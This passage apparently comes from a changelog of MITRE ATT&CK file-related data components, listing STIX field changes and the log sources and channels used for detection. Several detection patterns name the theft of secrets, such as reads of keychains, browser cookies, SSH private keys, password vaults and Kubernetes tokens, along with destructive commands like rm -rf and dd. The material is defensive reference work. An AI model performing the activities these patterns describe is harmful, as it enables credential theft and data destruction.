'access to /Volumes/SharePoint or network mount'}, {'name': 'auditd:SYSCALL', 'channel': 'Reads of ~/.bash_history, ~/.mozilla, or access to /dev/input'}, {'name': 'macos:unifiedlog', 'channel': 'Access to ~/Library/Safari/Bookmarks.plist or recent files'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read'}, {'name': 'macos:unifiedlog', 'channel': 'access to keychain database'}, {'name': 'auditd:PATH', 'channel': 'file read'}, {'name': 'linux:syslog', 'channel': 'kernel messages related to cryptographic operations, module loading, and filesystem access patterns'}, {'name': 'fs:fsevents', 'channel': 'file system events indicating access to system configuration files and environmental information sources'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_open, es_event_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'open: Access to named pipes or FIFO in /tmp or /dev/shm by unexpected processes'}, {'name': 'auditd:SYSCALL', 'channel': 'open or read to browser cookie storage'}, {'name': 'fs:fsusage', 'channel': 'file open for known browser cookie paths'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read, mount'}, {'name': 'fs:fsusage', 'channel': 'file reads/writes from /Volumes/'}, {'name': 'macos:unifiedlog', 'channel': 'log stream - file provider subsystem'}, {'name': 'auditd:SYSCALL', 'channel': 'file'}, {'name': 'kubernetes:audit', 'channel': 'GET or LIST requests to /var/run/secrets/kubernetes.io/serviceaccount/ followed by access to the Kubernetes API server'}, {'name': 'auditd:SYSCALL', 'channel': 'Access to /var/lib/sss/secrets/secrets.ldb or .secrets.mkey'}, {'name': 'fs:quarantine', 'channel': '/var/log/quarantine.log'}, {'name': 'desktop:file_manager', 'channel': 'nautilus, dolphin, or gvfs logs'}, {'name': 'linux:osquery', 'channel': '/proc/*/maps access'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read of sensitive directories (/etc, /home/*)'}, {'name': 'macos:unifiedlog', 'channel': 'read/write of user documents prior to upload'}, {'name': 'esxi:hostd', 'channel': 'file copy or datastore upload via HTTPS'}, {'name': 'macos:unifiedlog', 'channel': 'open/read access to private key files (id_rsa, *.pem, *.p12)'}, {'name': 'linux:osquery', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'None'}, {'name': 'fs:fileevents', 'channel': 'File system access events with kFSEventStreamEventFlagItemRemoved, kFSEventStreamEventFlagItemRenamed flags for environmental artifact collection (/System/Library, /usr/sbin, plist files)'}, {'name': 'auditd:FS', 'channel': 'read: File access to /proc/modules or /sys/module/'}, {'name': 'macos:unifiedlog', 'channel': 'read: File access to /System/Library/Extensions/ or related kernel extension paths'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read on ~/.local/share/keepassxc/* OR ~/.password-store/*'}, {'name': 'macos:unifiedlog', 'channel': '*.opvault OR *.ldb OR *.kdbx'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:07.996000+00:002025-10-21 15:14:35.674000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0039] File Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0039', 'external_id': 'DC0039'}]
x_mitre_log_sources[{'name': 'File', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=11'}, {'name': 'auditd:SYSCALL', 'channel': 'creat'}, {'name': 'macos:unifiedlog', 'channel': 'file write'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Modification of .asar in /opt or ~/.config directories'}, {'name': 'macos:osquery', 'channel': 'CREATE/MODIFY: Modification of app.asar inside .app bundle'}, {'name': 'auditd:FILE', 'channel': "File creation with name starting with '.'"}, {'name': 'macos:unifiedlog', 'channel': 'Creation or modification of browser extension .plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'open or creat syscalls targeting excluded paths'}, {'name': 'macos:unifiedlog', 'channel': 'file creation in AV exclusion directories'}, {'name': 'auditd:SYSCALL', 'channel': 'file creation/modification'}, {'name': 'macos:unifiedlog', 'channel': 'file write/create'}, {'name': 'esxi:vmkernel', 'channel': 'file write'}, {'name': 'snmp:syslog', 'channel': 'firmware write/log event'}, {'name': 'auditd:SYSCALL', 'channel': 'open,creat,rename: Writes in $HOME/Downloads, /tmp, ~/.cache with exe/script/archive/office extensions'}, {'name': 'fs:fsevents', 'channel': 'Create in /Users/*/Downloads or /private/var/folders/* with quarantine attribute'}, {'name': 'macos:unifiedlog', 'channel': 'file events'}, {'name': 'esxi:vmkernel', 'channel': 'VMFS file creation'}, {'name': 'auditd:SYSCALL', 'channel': 'write/open, FIM audit'}, {'name': 'fs:fsusage', 'channel': 'open/write/exec calls'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .plist under /Library/Managed Preferences/'}, {'name': 'fs:fileevents', 'channel': 'creat'}, {'name': 'fs:fsusage', 'channel': 'disk activity on /Library/LaunchAgents or LaunchDaemons'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'auditd:SYSCALL', 'channel': 'open: Write to ~/.vscode-cli/code_tunnel.json'}, {'name': 'macos:unifiedlog', 'channel': 'creation of ~/.vscode-cli/code_tunnel.json'}, {'name': 'macos:unifiedlog', 'channel': 'create/modify dylib files in monitored directories'}, {'name': 'auditd:SYSCALL', 'channel': 'write'}, {'name': 'linux:Sysmon', 'channel': 'New files in /tmp, /var/tmp, $HOME/.cache, executed within TimeWindow after browser HTTP fetch'}, {'name': 'macos:unifiedlog', 'channel': 'New files written to /var/folders, /tmp, ~/Library/Caches, or ~/Downloads by browser context or its children'}, {'name': 'auditd:FILE', 'channel': 'create: New file created in system binaries or temp directories'}, {'name': 'macos:unifiedlog', 'channel': 'File created in ~/Library/LaunchAgents or executable directories'}, {'name': 'auditd:SYSCALL', 'channel': 'open, unlink, rename: File creation or deletion involving critical stored data'}, {'name': 'macos:unifiedlog', 'channel': 'Process wrote large .mov/.mp4 in user temp/hidden dirs'}, {'name': 'macos:unifiedlog', 'channel': 'logd:file write'}, {'name': 'fs:fsusage', 'channel': 'File IO'}, {'name': 'auditd:SYSCALL', 'channel': 'creat, open, write on /etc/systemd/system and /usr/lib/systemd/system'}, {'name': 'macos:unified', 'channel': 'File creation'}, {'name': 'macos:unifiedlog', 'channel': 'Attachment files written to ~/Downloads or temporary folders'}, {'name': 'fs:fsusage', 'channel': 'file activity'}, {'name': 'CloudTrail:PutObject', 'channel': 'PutObject'}, {'name': 'auditd:PATH', 'channel': 'Creation of files with extensions .sql, .csv, .sqlite, especially in user directories'}, {'name': 'macos:unifiedlog', 'channel': 'Writes of .sql/.csv/.xlsx files to user documents/downloads'}, {'name': 'auditd:PATH', 'channel': 'New .py/.js/.sh files written to ~/.local/, ~/.cache/, or /tmp/ within 5 min of package install'}, {'name': 'auditd:SYSCALL', 'channel': 'write, open, or rename to /etc/systemd/system/*.service'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of .zip, .gz, .bz2 files in /tmp, /var/tmp, or /home directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .zip, .gz, .dmg archives in /Users, /tmp, or application directories'}, {'name': 'fs:fsusage', 'channel': 'file open/write'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_CREATE: path under /Users/*/(Downloads|Desktop|Library/*/Containers|Library/Group Containers) AND extension in SuspiciousExtensions'}, {'name': 'auditd:SYSCALL', 'channel': 'open/create/rename: name in (/home/*/Downloads/*|/tmp/*|/run/user/*|/media/*) AND ext in SuspiciousExtensions'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of archive files in /tmp, /var/tmp, or user home directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .zip, .dmg, .tar.gz files in /Users, /tmp, or application directories'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'macos:unifiedlog', 'channel': 'File Events'}, {'name': 'auditd:SYSCALL', 'channel': 'File creations of *.qcow2, *.vdi, *.vmdk outside standard VM directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation or modification of postinstall scripts within .pkg or .mpkg contents'}, {'name': 'auditd:SYSCALL', 'channel': 'open: File creation under /tmp, /var/tmp, ~/.cache with executable bit or shell shebang'}, {'name': 'macos:unifiedlog', 'channel': 'create: New files in /tmp or ~/Library/Application Support/* with executable or script extensions'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write, unlink'}, {'name': 'WinEventLog:Sysmon', 'channel': 'File creation of suspicious scripts/binaries in temporary directories'}, {'name': 'macos:unifiedlog', 'channel': 'File creation of unsigned binaries/scripts in user cache or download directories'}, {'name': 'auditd:SYSCALL', 'channel': 'File creation events in /var/mail or /var/spool/mail exceeding baseline thresholds'}, {'name': 'fs:fsusage', 'channel': 'create: Attachment file creation in ~/Library/Mail directories'}, {'name': 'WinEventLog:Microsoft-Windows-Shell-Core', 'channel': 'New startup folder shortcut or binary placed in Startup directory'}, {'name': 'auditd:SYSCALL', 'channel': 'write or create file after .bash_history access'}, {'name': 'auditd:SYSCALL', 'channel': 'new file created in /var/www/html, /srv/http, or similar web root'}, {'name': 'fs:launchdaemons', 'channel': 'file_create'}, {'name': 'auditd:PATH', 'channel': 'mount target path within /proc/*'}, {'name': 'macos:fsevents', 'channel': '/Library/StartupItems/, ~/Library/LaunchAgents/'}, {'name': 'fs:fsusage', 'channel': 'write or chmod to ~/Library/LaunchAgents/*.plist'}, {'name': 'auditd:PATH', 'channel': 'creation of .so files in non-standard directories (e.g., /tmp, /home/*)'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of files with anomalous headers and entropy levels in /tmp or user directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of files with anomalous headers and entropy values'}, {'name': 'auditd:SYSCALL', 'channel': 'Access or modification to /lib/modules or creation of .ko files'}, {'name': 'fs:fsevents', 'channel': 'Directory events (kFSEventStreamEventFlagItemCreated)'}, {'name': 'gcp:workspaceaudit', 'channel': 'drive.activity logs'}, {'name': 'fs:fileevents', 'channel': 'create/write/rename in user-writable paths'}, {'name': 'auditd:PATH', 'channel': 'WRITE: Drop of binaries/scripts in ~/.local, /tmp, or /opt tool dirs'}, {'name': 'macos:osquery', 'channel': 'CREATE/MODIFY: Creation of LaunchAgents/Daemons plists in user/system locations'}, {'name': 'auditd:SYSCALL', 'channel': 'open,create'}, {'name': 'auditd:FILE', 'channel': 'Creation of hidden files (.*) in sensitive directories (/etc, /var, /usr/bin)'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of LaunchAgents/LaunchDaemons in hidden or non-standard directories'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of files ending in .tar, .gz, .bz2, .zip in /tmp or /var/tmp'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .zip or .dmg files in user-accessible or temporary directories'}, {'name': 'fs:fsusage', 'channel': 'file write'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_open'}, {'name': 'macos:unifiedlog', 'channel': 'file create or modify in /etc/emond.d/rules or /private/var/db/emondClients'}, {'name': 'auditd:SYSCALL', 'channel': 'open,creat,rename,write'}, {'name': 'macos:unifiedlog', 'channel': 'Writes under ~/Library/Application Support/Code*/extensions or JetBrains plugins'}, {'name': 'AWS:CloudTrail', 'channel': 'PutObject'}]
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:18.072000+00:002025-10-21 19:32:14.744000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0
x_mitre_data_source_refx-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9

[DC0040] File Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0040', 'external_id': 'DC0040'}]
x_mitre_log_sources[{'name': 'File', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink/unlinkat on service binaries or data targets'}, {'name': 'auditd:SYSCALL', 'channel': 'file deletion'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'esxi:shell', 'channel': 'shell history'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=23'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'esxi:hostd', 'channel': 'delete action'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink, unlinkat, openat, write'}, {'name': 'macos:unifiedlog', 'channel': 'exec rm -rf|dd if=/dev|srm|file unlink'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink, unlinkat, rmdir'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink, rename, open'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=23'}, {'name': 'fs:fsusage', 'channel': 'unlink, fs_delete'}, {'name': 'docker:daemon', 'channel': 'container file operations'}, {'name': 'esxi:hostd', 'channel': 'rm, clearlogs, logrotate'}, {'name': 'esxi:hostd', 'channel': 'Datastore file operations'}, {'name': 'macos:osquery', 'channel': 'CREATE, DELETE, WRITE: Stored data manipulation attempts by unauthorized processes'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink/unlinkat'}, {'name': 'WinEventLog:Microsoft-Windows-Backup', 'channel': 'Windows Backup Catalog deletion or catalog corruption'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': '/etc/fstab, /etc/systemd/*'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:21.434000+00:002025-10-21 15:14:36.450000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0059] File Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0059', 'external_id': 'DC0059'}]
x_mitre_log_sources[{'name': 'File', 'channel': 'None'}, {'name': 'linux:osquery', 'channel': 'event-based'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Invalid/Unsigned image when developer tool launches newly installed binaries'}, {'name': 'journald:package', 'channel': 'dpkg/apt or yum/dnf transaction logs (install/update of build tools)'}, {'name': 'linux:osquery', 'channel': 'file_events, hash'}, {'name': 'macos:unifiedlog', 'channel': 'softwareupdated/homebrew/install logs, pkginstalld events'}, {'name': 'macos:unifiedlog', 'channel': 'AMFI or Gatekeeper signature/notarization failures for newly installed dev components'}, {'name': 'auditd:SYSCALL', 'channel': 'Inotify watch creation or auditctl changes on /etc/cron* or /lib/systemd/system/'}, {'name': 'linux:syslog', 'channel': 'Discrepancies in _VBA_PROJECT p-code vs source code extracted with oletools/pcodedmp'}, {'name': 'macos:unifiedlog', 'channel': 'Detection of altered _VBA_PROJECT or PerformanceCache streams'}, {'name': 'EDR:file', 'channel': 'File Metadata Inspection (Low String Entropy, Missing PDB)'}, {'name': 'linux:osquery', 'channel': 'hash, elf_info, file_metadata'}, {'name': 'macos:osquery', 'channel': 'code_signing, file_metadata'}, {'name': 'WinEventLog:Windows Defender', 'channel': 'Operational log'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem:syspolicyd'}, {'name': 'macos:unifiedlog', 'channel': 'File metadata updated with UF_HIDDEN flag'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=15'}, {'name': 'auditd:PATH', 'channel': 'file path matches exclusion directories'}, {'name': 'auditd:SYSCALL', 'channel': 'path'}, {'name': 'auditd:PATH', 'channel': 'PATH'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_file_rename_t or es_event_file_write_t'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'fs:fileevents', 'channel': '/var/log/install.log'}, {'name': 'auditd:SYSCALL', 'channel': 'file write after sleep delay'}, {'name': 'esxi:vmkernel', 'channel': 'Upload of file to datastore'}, {'name': 'ebpf:syscalls', 'channel': 'Unexpected container volume unmount + file deletion'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'EDR:file', 'channel': 'File Metadata Analysis (PE overlays, entropy)'}, {'name': 'linux:osquery', 'channel': 'elf_info, hash, yara_matches'}, {'name': 'macos:osquery', 'channel': 'mach_o_info, file_metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Code signature validation fails or is absent post-binary modification'}, {'name': 'fs:filesystem', 'channel': 'Binary file hash changes outside of update/patch cycles'}, {'name': 'linux:osquery', 'channel': 'Read headers and detect MIME type mismatch'}, {'name': 'macos:unifiedlog', 'channel': 'Code signing verification failures or bypassed trust decisions'}, {'name': 'NSM:Flow', 'channel': 'Observed File Transfers'}, {'name': 'esxi:vmkernel', 'channel': 'Storage access and file ops'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of new LaunchAgent or LoginItem plist files in ~/Library/LaunchAgents/'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'chmod or chown of hook files indicating privilege escalation or execution permission change'}, {'name': 'macos:unifiedlog', 'channel': 'filesystem events'}, {'name': 'macos:unifiedlog', 'channel': 'xattr -d com.apple.quarantine or similar attribute removal commands'}, {'name': 'macos:unifiedlog', 'channel': 'Gatekeeper quarantine policy decision anomalies recorded in com.apple.LaunchServices.QuarantineEventsV2'}, {'name': 'linux:syslog', 'channel': 'application or system execution logs'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'auditd:SYSCALL', 'channel': 'syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, setxattr, lsetxattr, fsetxattr)'}, {'name': 'linux:syslog', 'channel': 'file permission modification events in kernel messages'}, {'name': 'fs:fsevents', 'channel': 'file system events indicating permission or attribute changes'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'BSM audit events for file permission modifications'}, {'name': 'esxi:hostd', 'channel': 'host daemon events related to file or VM permission changes'}, {'name': 'esxi:vmkernel', 'channel': 'VMware kernel events for file system permission modifications'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned or invalid image for newly installed/updated binaries'}, {'name': 'journald:package', 'channel': 'dpkg/apt/yum/dnf transaction logs; vendor updaters in systemd journals'}, {'name': 'macos:unifiedlog', 'channel': 'pkginstalld/softwareupdated/Homebrew install transactions'}, {'name': 'macos:unifiedlog', 'channel': 'AMFI/Gatekeeper code signature or notarization failures'}, {'name': 'EDR:detection', 'channel': 'App reputation telemetry'}, {'name': 'gatekeeper/quarantine database', 'channel': 'LaunchServices quarantine'}, {'name': 'linux:osquery', 'channel': 'file_events.path'}, {'name': 'auditd:SYSCALL', 'channel': 'setuid or setgid bit changes'}, {'name': 'linux:osquery', 'channel': 'Filesystem modifications to trusted paths'}, {'name': 'fs:fsusage', 'channel': 'filesystem monitoring of exec/open'}, {'name': 'auditd:SYSCALL', 'channel': 'syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, lchown, setxattr, lsetxattr, fsetxattr, removexattr, lremovexattr, fremovexattr)'}, {'name': 'auditd:PATH', 'channel': 'file path modifications on critical system directories (/etc, /usr/bin, /usr/sbin, /var, /opt)'}, {'name': 'linux:syslog', 'channel': 'kernel messages related to file system permission changes and security violations'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'BSM audit events for file permission, ownership, and attribute modifications with user context'}, {'name': 'macos:unifiedlog', 'channel': 'kernel extension and system extension logs related to file system security violations or SIP bypass attempts'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Code integrity violations in boot-start drivers or firmware'}, {'name': 'fwupd:logs', 'channel': 'Firmware updates applied or failed'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_authentication'}, {'name': 'esxi:vmkernel', 'channel': 'Datastore modification events'}, {'name': 'linux:osquery', 'channel': 'Write or modify .desktop file in XDG autostart path'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected application binary modifications or altered signing status'}, {'name': 'auditd:SYSCALL', 'channel': 'setxattr or getxattr system call'}, {'name': 'macos:unifiedlog', 'channel': 'extended attribute write or modification'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663, 4656, 4658'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod, chown, setxattr, or file writes to /etc/ssl/* or /usr/local/share/ca-certificates/*'}, {'name': 'macos:unifiedlog', 'channel': 'New certificate trust settings added by unexpected process'}, {'name': 'esxi:syslog', 'channel': 'Datastore file hidden or renamed unexpectedly'}, {'name': 'WinEventLog:Windows Defender', 'channel': 'Operational'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.lsd'}, {'name': 'saas:RepoEvents', 'channel': 'New file added or modified in PR targeting CI/CD or build config (e.g., `gitlab-ci.yml`, `build.gradle`, `pom.xml`, `.github/workflows/*.yml`)'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': "CodeIntegrity reports 'Invalid image hash' or 'Unsigned image' for new/updated binaries"}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'SmartScreen or ASR blocks on newly downloaded installer/updater'}, {'name': 'WinEventLog:Setup', 'channel': 'MSI/Product install, repair or update events'}, {'name': 'journald:package', 'channel': 'dpkg/apt install, remove, upgrade events'}, {'name': 'journald:package', 'channel': 'yum/dnf install or update transactions'}, {'name': 'linux:osquery', 'channel': 'hash, rpm_packages, deb_packages, file_events'}, {'name': 'macos:unifiedlog', 'channel': "installer or system_installd 'PackageKit: install succeeded/failed' with non-notarized or unknown signer"}, {'name': 'macos:unifiedlog', 'channel': "Gatekeeper/AMFI 'code signature invalid' / 'not notarized' messages"}, {'name': 'networkdevice:syslog', 'channel': 'OS version query results inconsistent with expected or approved version list'}, {'name': 'macos:unifiedlog', 'channel': 'File creation or modification with com.apple.ResourceFork extended attribute'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=15 '}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:14.725000+00:002025-10-21 15:14:35.397000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0061] File Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0061', 'external_id': 'DC0061'}]
x_mitre_log_sources[{'name': 'File', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write calls modifying ~/.bashrc, ~/.profile, or /etc/paths.d'}, {'name': 'macos:unifiedlog', 'channel': 'File modification in /etc/paths.d or user shell rc files'}, {'name': 'fs:fileevents', 'channel': '/var/log/quarantine.log'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of ~/Library/LaunchAgents or /Library/LaunchDaemons plist'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write'}, {'name': 'auditd:SYSCALL', 'channel': 'AUDIT_SYSCALL (open, write, rename, unlink)'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_WRITE, targeting .zshrc, .zlogin, .zprofile'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'fs:fileevents', 'channel': '/var/log/install.log'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=2'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call for modification of /etc/sudoers or writing to /var/db/sudo'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: File modifications under /etc/ssl/certs, /usr/local/share/ca-certificates, or /etc/pki/ca-trust/source/anchors'}, {'name': 'macos:osquery', 'channel': 'query: Enumeration of root certificates showing unexpected additions'}, {'name': 'auditd:SYSCALL', 'channel': 'open, unlink, rename: Suspicious file access, deletion, or modification of sensitive paths'}, {'name': 'macos:unifiedlog', 'channel': 'Anomalous plist modifications or sensitive file overwrites by non-standard processes'}, {'name': 'auditd:FILE', 'channel': 'Modification or deletion of /etc/audit/audit.rules or /etc/audit/audit.conf'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write of .service unit files'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write/unlink'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or desktopservices modified settings or files'}, {'name': 'ESXiLogs:messages', 'channel': 'changes to /etc/motd or /etc/vmware/welcome'}, {'name': 'auditd:SYSCALL', 'channel': 'write, rename'}, {'name': 'containerd:runtime', 'channel': 'file change monitoring within /etc/cron.*, /tmp, or mounted volumes'}, {'name': 'esxi:cron', 'channel': 'manual edits to /etc/rc.local.d/local.sh or cron.d'}, {'name': 'auditd:PATH', 'channel': '/etc/passwd or /etc/group file write'}, {'name': 'auditd:SYSCALL', 'channel': 'write'}, {'name': 'macos:unifiedlog', 'channel': 'SecurityAgentPlugins modification'}, {'name': 'macos:unifiedlog', 'channel': 'write: File modifications to *.plist within LaunchAgents, LaunchDaemons, Application Support, or Preferences directories'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'esxi:hostd', 'channel': 'boot'}, {'name': 'networkdevice:syslog', 'channel': 'config'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of backgrounditems.btm or creation of LoginItems subdirectory in .app bundle'}, {'name': 'fs:filesystem', 'channel': "Modification or creation of files matching 'com.apple.loginwindow.*.plist' in ~/Library/Preferences/ByHost"}, {'name': 'auditd:SYSCALL', 'channel': 'write | PATH=/home/*/.ssh/authorized_keys'}, {'name': 'macos:auth', 'channel': '~/.ssh/authorized_keys'}, {'name': 'gcp:audit', 'channel': 'compute.instances.setMetadata'}, {'name': 'azure:resource', 'channel': 'PATCH vm/authorized_keys'}, {'name': 'esxi:shell', 'channel': 'file write or edit'}, {'name': 'linux:syslog', 'channel': 'rename'}, {'name': 'ebpf:syscalls', 'channel': 'file_write'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of plist with apple.awt.UIElement set to TRUE'}, {'name': 'fs:fsusage', 'channel': 'unlink, write'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: Write operations targeting /dev/sda, /dev/nvme0n1, or EFI partition mounts'}, {'name': 'auditd:PATH', 'channel': 'write: Modification of /boot/grub/*, /boot/efi/EFI/*, or initramfs images'}, {'name': 'networkdevice:config', 'channel': 'config-change: timezone or ntp server configuration change after a time query command'}, {'name': 'macos:unifiedlog', 'channel': 'replace existing dylibs'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes to boot variables, startup image paths, or checksum verification failures'}, {'name': 'firmware:update', 'channel': 'Unexpected or unscheduled firmware updates, image overwrites, or failed signature validation'}, {'name': 'IntegrityCheck:ImageValidation', 'channel': 'Checksum or hash mismatch between running image and known-good vendor-provided image'}, {'name': 'macos:osquery', 'channel': 'File modifications in ~/Library/Preferences/'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write to /etc/pam.d/*'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of /Library/Security/SecurityAgentPlugins'}, {'name': 'macos:unifiedlog', 'channel': 'Modifications to Mail.app plist files controlling message rules'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656,4663'}, {'name': 'auditd:SYSCALL', 'channel': 'write: Modification of structured stored data by suspicious processes'}, {'name': 'linux:syslog', 'channel': 'Unexpected log entries or malformed SQL operations in databases'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected creation or modification of stored data files in protected directories'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EvenCode=2'}, {'name': 'auditd:SYSCALL', 'channel': 'openat, write, rename, unlink'}, {'name': 'macos:unifiedlog', 'channel': 'file encrypted|new file with .encrypted extension|disk write burst'}, {'name': 'esxi:vmkernel', 'channel': 'rename .vmdk to .*.locked|datastore write spike'}, {'name': 'macos:unifiedlog', 'channel': 'Mach-O binary modified or LC_LOAD_DYLIB segment inserted'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write syscalls targeting /etc/ld.so.preload or binaries in /usr/bin'}, {'name': 'macos:unifiedlog', 'channel': 'Modified application plist or binary replacement in /Applications'}, {'name': 'esxi:shell', 'channel': 'admin command usage'}, {'name': 'networkdevice:syslog', 'channel': 'startup-config'}, {'name': 'macos:unifiedlog', 'channel': 'File creation or overwrite in common web-hosting folders'}, {'name': 'esxi:vmkernel', 'channel': 'Unauthorized file modifications within datastore volumes via shell access or vCLI'}, {'name': 'networkdevice:config', 'channel': "Configuration changes referencing 'crypto', 'key length', 'cipher', or downgrade of encryption settings"}, {'name': 'FirmwareLogs:Update', 'channel': 'Unexpected firmware or image updates modifying cryptographic modules'}, {'name': 'fs:plist', 'channel': '/var/root/Library/Preferences/com.apple.loginwindow.plist'}, {'name': 'auditd:SYSCALL', 'channel': 'modification of existing .service file'}, {'name': 'auditd:PATH', 'channel': 'write or create events on *.pth, sitecustomize.py, usercustomize.py in site-packages or dist-packages'}, {'name': 'macos:unifiedlog', 'channel': 'write of plist files in /Library/LaunchAgents or /Library/LaunchDaemons'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'WinEventLog:System', 'channel': 'Unexpected modification to lsass.exe or cryptdll.dll'}, {'name': 'networkconfig', 'channel': 'unexpected OS image file upload or modification events'}, {'name': 'network:runtime', 'channel': 'checksum or runtime memory verification failures'}, {'name': 'macos:unifiedlog', 'channel': 'write'}, {'name': 'auditd:SYSCALL', 